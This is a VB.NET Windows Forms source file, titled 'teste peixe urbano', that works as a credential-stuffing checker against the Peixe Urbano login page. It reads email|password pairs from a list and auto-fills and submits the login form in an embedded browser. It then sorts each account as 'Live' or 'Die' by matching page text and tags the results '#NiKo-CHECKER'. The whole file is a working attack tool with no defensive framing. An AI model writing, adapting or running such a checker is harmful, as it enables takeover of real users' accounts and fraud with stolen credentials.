teste peixe urbano

Public Class Form1

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Timer1.Start()
        Contador.Start()
    End Sub

    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        WebBrowser1.Navigate("https://www.peixeurbano.com.br/login")
        Timer2.Start()
        Timer1.Stop()
    End Sub

    Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
        Dim line() As String
        Dim ccs As String = List.Lines(0)
        line = Split(ccs, "|")
        Try
            WebBrowser1.Document.GetElementById("email").SetAttribute("value", line(0))
            WebBrowser1.Document.GetElementById("password").SetAttribute("value", line(1))
            WebBrowser1.Document.GetElementById("btn-login").InvokeMember("click")
        Catch ex As Exception

        End Try
        Timer2.Stop()
        Timer3.Start()
    End Sub

    Private Sub Timer3_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer3.Tick
        Dim newlist As List(Of String) = List.Lines.ToList
        If WebBrowser1.Document.Body.InnerHtml.Contains("E-mail ou senha inválidos") = True Then

            TextBox2.Text += List.Lines(0) + "✘ Die #NiKo-CHECKER" & vbCrLf
            WebBrowser1.Navigate("https://www.peixeurbano.com.br/login")
            newlist.RemoveAt(0)
            List.Lines = newlist.ToArray
            Timer1.Start()
            Timer3.Stop()

        ElseIf WebBrowser1.Document.Body.InnerHtml.Contains("Carregar mais ofertas") = True Then
            TextBox1.Text += List.Lines(0) + "✓ Live #NiKo-CHECKER" & vbCrLf
            WebBrowser1.Navigate("https://www.peixeurbano.com.br/login")
            newlist.RemoveAt(0)
            List.Lines = newlist.ToArray
            Timer1.Start()
            Timer3.Stop()
        End If
    End Sub

    Private Sub Contador_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Contador.Tick
        If List.Text = String.Empty Then
            Timer1.Stop()
            Timer2.Stop()
            Timer3.Stop()
            Contador.Stop()
            MsgBox("Não há mais contas para testar", MsgBoxStyle.Information, "Atenção!")
        End If
    End Sub

End Class